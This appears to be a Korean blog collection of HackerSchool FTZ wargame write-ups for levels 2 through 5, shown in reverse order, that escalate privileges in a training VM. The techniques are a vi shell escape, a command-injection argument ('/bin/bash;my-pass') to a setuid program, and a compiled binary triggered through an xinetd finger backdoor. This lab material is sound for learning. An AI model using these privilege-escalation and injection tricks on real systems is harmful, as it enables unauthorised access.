기존에는 사라지던 level5.tmp 가 존재하는군요. 임의적으로 만들었던 내용이 그대로 들어있다면, 이 문제는 실패일 것입니다.


[level5@ftz tmp]$ cat level5.tmp

next password : ~~~~~~~

[level5@ftz tmp]$


cat 명령어로 level5.tmp 열어보니!

제가 임의로 생성할 때, 적어두었던 y0upd{;;} SystemHacking Pwn&Play!~~~^^.  은 사라지고, level6의 비밀번호가 나오는군요!


good. 성공입니다.

이제 다음 level6으로 향해서 고고싱!



'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level7 풀이  (0) 2013.10.02
hackerschool FTZ : level6 풀이  (0) 2013.10.01
hackerschool FTZ : level5 풀이  (1) 2013.10.01
hackerschool FTZ : level4 풀이  (1) 2013.10.01
hackerschool FTZ : level3 풀이  (0) 2013.10.01
hackerschool FTZ : level2 풀이  (2) 2013.10.01
  1. 공부중.. at 2016.10.10 20:15 [edit/del]

    오래된 글이긴 한데 다른 방법 찾아서 댓글 남겨봅니다.
    저는 그냥 cat 명령으로 /usr/bin/level5 내용 봤는데 글씨 깨진거 무시하고도 중간중간 영어 보이길레
    슬슬 내려가면서 보는데
    /tmp/level5.tmpCan not creat a tmeporary file.
    next password : "PASSWORD"
    이런 문장이 있어서 바로 풀렸습니다 하하.. 문제가 허술했던 걸까요?

    Reply

submit

 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.



level4 의 시작.


구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


login as : level4

password :


level3에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.


그러면 저번과 같이 ls -al 로 level4의 디텍토리에는 무슨 파일들이 존재하는지 확인해보자.


[level4@ftz level4]$ ls -al

total 80

drwxr-xr-x    4 root     level4       4096 May  7  2002 .

drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root           50 Feb 24  2002 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level4       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level4       4096 Sep 30 06:53 tmp

-rw-r--r--    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults

[level4@ftz level4]$


역시나, level4도 hint 파일이 존재합니다. 

cat 명령어로 hint 파일을 들여다 봅시다.


[level4@ftz level4]$ cat hint



누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!


?!!? 이럴수가, 누군가가 백도어를 심어두었다네요!

누군가 지금 서버를 지켜보고 있을 수도 있네요.. ㅜ_ㅜ


그러면 바로! cd 로 이용해서 /etc/xinetd.d/ 폴더로 이동해봅시다!


[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls -al

total 68

drwxr-xr-x    2 root     root         4096 Sep 30 02:00 .

drwxr-xr-x   56 root     root         4096 Sep 30 02:44 ..

-r--r--r--    1 root     level4        171 Sep 30 02:00 backdoor

-rw-r--r--    1 root     root          563 Feb 25  2003 chargen

-rw-r--r--    1 root     root          580 Feb 25  2003 chargen-udp

-rwxr-xr-x    1 root     root          239 Feb 13  2003 cups-lpd

-rw-r--r--    1 root     root          419 Feb 25  2003 daytime

-rw-r--r--    1 root     root          438 Feb 25  2003 daytime-udp

-rw-r--r--    1 root     root          341 Feb 25  2003 echo

-rw-r--r--    1 root     root          360 Feb 25  2003 echo-udp

-rw-r--r--    1 root     root          317 Jan 25  2003 rsync

-rw-r--r--    1 root     root          312 Feb 25  2003 servers

-rw-r--r--    1 root     root          314 Feb 25  2003 services

-rw-r--r--    1 root     root          392 Feb  1  2003 sgi_fam

-r--r--r--    1 root     root          305 Sep 30 02:00 telnet

-rw-r--r--    1 root     root          497 Feb 25  2003 time

-rw-r--r--    1 root     root          518 Feb 25  2003 time-udp

[level4@ftz xinetd.d]$


이럴수가, 정말 backdoor가 있네요.

cat 명령어로 backdoor 를 들여다봅시다.


[level4@ftz xinetd.d]$ cat backdoor

service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


finger 서비스로 실행되는 backdoor 이네요.

우리가 중요시 봐야할 곳은, user 와 server 경로 부분을 자세히 살펴보아야 합니다!

user는 level5네요. 


현재 level4 인데, level5 권한으로 실행을 해준다는 것이네요! setuid 헤헤.. 정말 좋네요 짜릿해요 재밌네요.


server ?

server 경로 는 무엇일까요? 저 경로를 실행시킨다는 뜻 같네요.


그렇다면,

/home/level4/tmp/backdoor 라는 경로에 backdoor 라는 파일이 실행되는 것을 보니,

경로로 이동해서 backdoor 라는 파일이 존재하지 않으면 C 파일로 생성해서 level5 패스워드를 취득 해보록 해야겠습니다@@.

[level4@ftz xinetd.d]$ cd /home/level4/tmp

[level4@ftz tmp]$ ls -al

total 8

drwxrwxr-x    2 root     level4       4096 Sep 30 12:51 .

drwxr-xr-x    4 root     level4       4096 May  7  2002 ..


경로에는 backdoor 파일이 존재하지 않네요. 그렇다면 .c 파일로 만들어서 my-pass 를 알려주는 backdoor를 만들어야 겠네요.


자, 그렇다면 시작해봅시다.


[level4@ftz tmp]$ cat > backdoor.c

#include <stdio.h>

#include <stdlib.h>


int main(void){

        system("my-pass");

        return 0;

}


cat > 을 이용해서 backdoor.c 라는 문서를 만들고,

그 안에 .c 의 system 으로 이용하여 my-pass 를 입력하게 만들게 해두었습니다.


[level4@ftz tmp]$ gcc -o backdoor backdoor.c

[level4@ftz tmp]$ ls -al

total 24

drwxrwxr-x    2 root     level4       4096 Sep 30 12:56 .

drwxr-xr-x    4 root     level4       4096 May  7  2002 ..

-rwxrwxr-x    1 level4   level4      11545 Sep 30 12:56 backdoor

-rw-rw-r--    1 level4   level4         89 Sep 30 12:54 backdoor.c

[level4@ftz tmp]$


gcc 명령어로 이용하여 backdoor.c 를 컴파일을 시켜서 backdoor 를 만들어두었다.


ls -al 를 이용해서 보니, 정상적으로 컴파일까지 성공한 것 같다.

이제 fingr 서비스를 작동시켜야 할 때가 온 것 같다.


gcc ?

: Training 9번에서 배웠던 내용입니다. 자세히 보시려면 ( http://taeminimini.tistory.com/368 ) 로 이동하세요.


[level4@ftz tmp]$ finger @localhost


finger 명령어로 @localhost 를 실행 해주면,

finger 서비스를 시작합니다.


[level4@ftz tmp]$ finger @localhost

^[[H^[[J

Level5 Password is ~~~~~~~~~


finger 명령어 대한 자료는 아래에 적혀있다.

참고해서 문제를 클리어 하도록하자.


그렇다면 이제, level4 도 끝이나고, level5 의 비밀번호가 주어진다.


finger @localhost 를 쓰면 왜 이렇게 되는지는, finger 명령어를 이해하면 금방 풀리는 내용이다.

finger ?

: finger는 리눅스에서 사용자의 계정정보를 확인하는 명령어이다.


finger 옵션

-s : 사용자의 로그온 이름, 실제이름, 터미널 이름, 로그온 시간 등을 보여준다. 

-l : -s 옵션 정보에 몇 가지를 추가하여, 여러 줄에 걸쳐서 보여준다. 

-p : -l 옵션 정보에서 .plan과 .project 파일을 보이지 않는다.

옵션이 주어지지 않으면, 기본적으로 -l 옵션을 사용한 것으로 간주된다.


finger ex)


-$ finger

finger만 치면 현재 시스템에 로그인 되어 있는 사용자들을 보여준다.


-$ finger user명

user를 적고 host명을 명시하지 않으면, finger는 로컬에 접속하게 된다.


-$ finger @host명

host명만 적고 user를 명시하지 않으면, 해당서버의 접속해 있는 모든 유저의 정보를 출력한다.


-$ finger user명 @host명

-$ finger @host명 user명

user명과 호스트명을 이런식으로 기입하면 원격서버의 사용자계정정보 확인하는 것이 된다.


참고

finger명령어는 지정된 계정사용자 정보를 /etc/passwd 파일에서 읽어서 보여주는 것이다.


'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level6 풀이  (0) 2013.10.01
hackerschool FTZ : level5 풀이  (1) 2013.10.01
hackerschool FTZ : level4 풀이  (1) 2013.10.01
hackerschool FTZ : level3 풀이  (0) 2013.10.01
hackerschool FTZ : level2 풀이  (2) 2013.10.01
hackerschool FTZ : level1 풀이  (0) 2013.10.01
  1. pental at 2017.01.01 15:28 [edit/del]

    ftz 문제들과 write - up 을 퍼가도 될까요?

    Reply

submit

 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.



level3 의 시작.


구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


login as : level3

password :


level3에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.


그러면 저번과 같이 ls -al 로 level3의 디텍토리에는 무슨 파일들이 존재하는지 확인해보자.


[level3@ftz level3]$ ls -al

total 80

drwxr-xr-x    4 root     level3       4096 May  7  2002 .

drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root          543 Nov 26  2000 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp

-rw-r--r--    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults


역시나, level3도 hint 파일이 존재합니다. 

cat 명령어로 hint 파일을 들여다 봅시다.


[level3@ftz level3]$ cat hint



다음 코드는 autodig의 소스이다.


#include <stdio.h> 

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


C언어의 코딩을 했던지라 프로그램 소스코드가 빠른 이해가 됬다.

그러나, C언어를 아예 하지 않고 바로 FTZ 입문자라면 꽤나 상당히 어려움을 느낄 수 있다.


프로그램의 소스코드를 주석처리해서 알려준다면,

#include <stdio.h> 

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){ // Main 인자값을 받는다.


    char cmd[100]; // cmd 변수에 100개의 칸을 할당해준다. chat형으로, 100바이트 변수 주어준다.


    if( argc!=2 ){ // argc 변수가 2가 아닐때, if 문을 작동시킨다. ( 아래의 문을 실행 )

        printf( "Auto Digger Version 0.9\n" ); // Auto Digger Version 0.9 라는 문구 출력

        printf( "Usage : %s host\n", argv[0] ); // Usage : ~~ host 라는 문구 출력

        exit(0); // 빠져나간다.

    }


    strcpy( cmd, "dig @" ); // strcpy? : 문자열을 복사하는 메서드, cmd에 dig @ 를 적어준다.

    strcat( cmd, argv[1] ); // strcat? : 문자열을 붙혀주는 메서드, cmd 에 argv[1] 의 값을 이어붙힌다.

    strcat( cmd, " version.bind chaos txt"); // cmd 내용에 version.bind chaos txt 를 이어 붙힌다.


    system( cmd ); // cmd 배열의 값을 실행시킨다.


}


위와 같은 주석처리가 나올 수 있다.

C언어 하는사람들이라면 다 한번에 보고 이해가 가는 부분일 수도 있겠으나, 처음이거나 초급자를 위하여 주석처리를 하였다.


일단 저 C언어의 소스코드 작동 순서를 이해를 하고,

find 명령어로 autodig 파일의 위치를 찾으러가자.


[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null

/bin/autodig


파일을 찾아보니, setuid 가 걸린 곳은

/bin/autodig 위치이다.

짐작으로 보니, autodig 는 실행관련 파일인 것 같다. 소스코드까지 짜여진 것으로 보아서는,


[level3@ftz level3]$ cd /bin

[level3@ftz bin]$ ls autodig

autodig

[level3@ftz bin]$


/bin 폴더로 이동해서 ls 명령어로 autodig 검색해보니, 존재한다.


그러나 ./autodig 명령어를 치면 오류가 발생한다.

왜냐면, 인자값을 전달해주지 않았기 때문이다.


그리고 우리가 까먹었던 힌트 내용이 또 존재한다. 인자값 전달할 때 아래의 힌트를 이용해야된다.

more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


1. 동시에 여러 명령어를 사용하려면?

; (세미콜론) 을 사용해주어야 한다.


2. 문자열 형태로 명령어로 전달하려면?

" (큰따옴표로 시작해서 끝도 큰따옴표로 끝내야한다.)


위의 힌트까지 머리속에 정리했다면, 바로 my-pass 까지 명령어를 실행할 방법은 무엇일까?


my-pass 명령어를 사용하려면,

setuid 를 이용하여 /bin/bash 디텍토리로 들어간 다음, my-pass 를 입력해야 된다.


1. 동시에 여러 명령어를 사용하려면?

이라는 문구가 먼가 입질이 올 것이다.

/bin/bash 와, my-pass 를 동시명령어로 작동시키면 된다는 것이다.


그러면 이해가 갈 것이다.

/bin/bash;my-pass


1번 힌트의 정답을 이해했다면, bin bash my pass 다 문자열인데, 2번의 힌트가 무엇이였던가?


2. 문자열 형태로 명령어로 전달하려면?

" (큰따옴표) 를 사용하면 된다.


라고 해석이 나왔는데, 그렇다면 이제 사용해보자.


"/bin/bash;my-pass" 


이렇게 최종 완성본이 되지않을까? 한번 쭉 루트를 생각해보자.

이제, autodig 에 인자값을 전달해보자.


[level3@ftz bin]$ ./autodig "/bin/bash;my-pass"


명령을 실행 하니, 바로!

Level4 Password is ~~~~~~~~~


[level3@ftz bin]$


성공. success. Level4로 갈 수 있는 비밀번호의 키를 얻었다.

적어놓고 다음 Level4로 가보자.



'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level5 풀이  (1) 2013.10.01
hackerschool FTZ : level4 풀이  (1) 2013.10.01
hackerschool FTZ : level3 풀이  (0) 2013.10.01
hackerschool FTZ : level2 풀이  (2) 2013.10.01
hackerschool FTZ : level1 풀이  (0) 2013.10.01
hackerschool FTZ : Training 10  (1) 2013.09.30

submit

 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.



구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


Level1을 클리어하신 것을 축하드립니다.

레벨20단계까지 있는데 꾸준히 열심히 하셔서 클리어 하시길 바랍니다.


잔말 하지않고 바로시작!

login as : level2

password :


level1에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.


그러면 저번과 같이 ls -al 로 level2의 디텍토리에는 무슨 파일들이 존재하는지 확인해보자.


[level2@ftz level2]$ ls -al

total 80

drwxr-xr-x    4 root     level2       4096 Apr 19  2002 .

drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-rw-rw-r--    1 root     root          162 Mar 10  2000 .epems

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root           60 Mar 23  2000 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level2       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level2       4096 Sep 30 06:28 tmp

-rw-r--r--    1 root     root            0 Oct 27  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults

[level2@ftz level2]$


이번 level2의 디텍토리에도 hint 라는 파일이 존재한다.

cat 명령어로 hint 파일을 들여다보자.


[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


???????????????????!!!

처음에 했던 나도 이 부분에서 뭐지? 이게 힌트인건가 이런 생각을 가지게 되었다.

그러나,


곰곰히 생각해보면 무슨 editor 가 생각이 날 것이다. 해커스쿨 초중고 를 다 읽은 사람이라면!

아직은 잘 모르겠다면 이제 다음으로 넘어가자.


find 명령어로 setuid 가 걸린 부분을 찾으러 가보자 고고씽.


[level2@ftz level2]$ find / -user level3 -perm -4300 2>/dev/null

/usr/bin/editor

[level2@ftz level2]$


찾아보니, Level3의 root 권한을 가진 setuid 가 발견되었다.

그럼 거기로 경로를 이동하자.

아차! editor는 실행파일인 것 같다.


[level2@ftz level2]$ cd /usr/bin

[level2@ftz bin]$ ls editor

editor

[level2@ftz bin]$


역시 editor 는 실행하는 파일이었다.

./ 명령어로 editor 를 실행해보자!


[level2@ftz bin]$ ./editor

~

~

~

~

~

~                              VIM - Vi IMproved

~

~                               version 6.1.320

~                           by Bram Moolenaar et al.

~                 Vim is open source and freely distributable

~

~                        Help poor children in Uganda!

~                type  :help iccf<Enter>       for information

~

~                type  :q<Enter>               to exit

~                type  :help<Enter>  or  <F1>  for on-line help

~                type  :help version6<Enter>   for version info

~

~

~

~

~


!?!?!?!?!?!? 

editor 를 열어보니 Vi 에디터가 나왔다!


VI(Visual Editor) ?

유닉스 시스템에서 주로 사용하는 텍스트 편집기. vi는 그래픽 사용자 인터페이스(GUI)가 익숙한 사용자에게는 매우 낯설은 에디터지만 프로그래머 등 텍스트 작업을 주로 하는 사용자에게는 간결한 인터페이스와 키보드를 벗어나지 않고 모든 일을 할 수 있는 막강한 기능으로 크게 환영받고 있다. 파일의 간단한 편집, 전자 우편 쓰기, 복잡한 프로그래밍까지 vi는 유닉스 시스템에 널리 사용되고 있는 편집기이다


Vi 에디터에 대한 설명은 여기에 적지않겠지만, 네이버에 검색해보면 많은 자료들이 나온다! 심지어 사용법까지 +_+

Vi 에디터에서 Shift + : 를 눌러주면 입력모드로 변환된다.


~

~

~

~

~

~                              VIM - Vi IMproved

~

~                               version 6.1.320

~                           by Bram Moolenaar et al.

~                 Vim is open source and freely distributable

~

~                        Help poor children in Uganda!

~                type  :help iccf<Enter>       for information

~

~                type  :q<Enter>               to exit

~                type  :help<Enter>  or  <F1>  for on-line help

~                type  :help version6<Enter>   for version info

~

~

~

~

: !/bin/bash


! 가 무엇인가요?

! 는 VI editor 에서 외부의 쉘을 실행시켜주는 명령어입니다.

Level3의/bin/bash 로 접속하게 해주지요.


[level3@ftz bin] 으로 변경되었다면, my-pass 를 입력하자.

[level3@ftz bin]$ my-pass

Level3 Password is ~~~~~~~~~~~~

[level3@ftz bin]$


그러면 3단계도 클리어 되었다.

성공. success.


어렵지않게 풀 수 있었던 문제들이었다. 처음에 접할 때 Vi Editor 에 대한 사용법만 공부한다면 푸는데 문제가 없는 문제.



'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level4 풀이  (1) 2013.10.01
hackerschool FTZ : level3 풀이  (0) 2013.10.01
hackerschool FTZ : level2 풀이  (2) 2013.10.01
hackerschool FTZ : level1 풀이  (0) 2013.10.01
hackerschool FTZ : Training 10  (1) 2013.09.30
hackerschool FTZ : Training 6~8  (0) 2013.09.30
  1. 1245 at 2017.06.06 13:04 [edit/del]

    님 저 님처럼 ./editor 하니까 접근 불가인가 허가 거부 났어요 뭐죠 하? 참나

    Reply

submit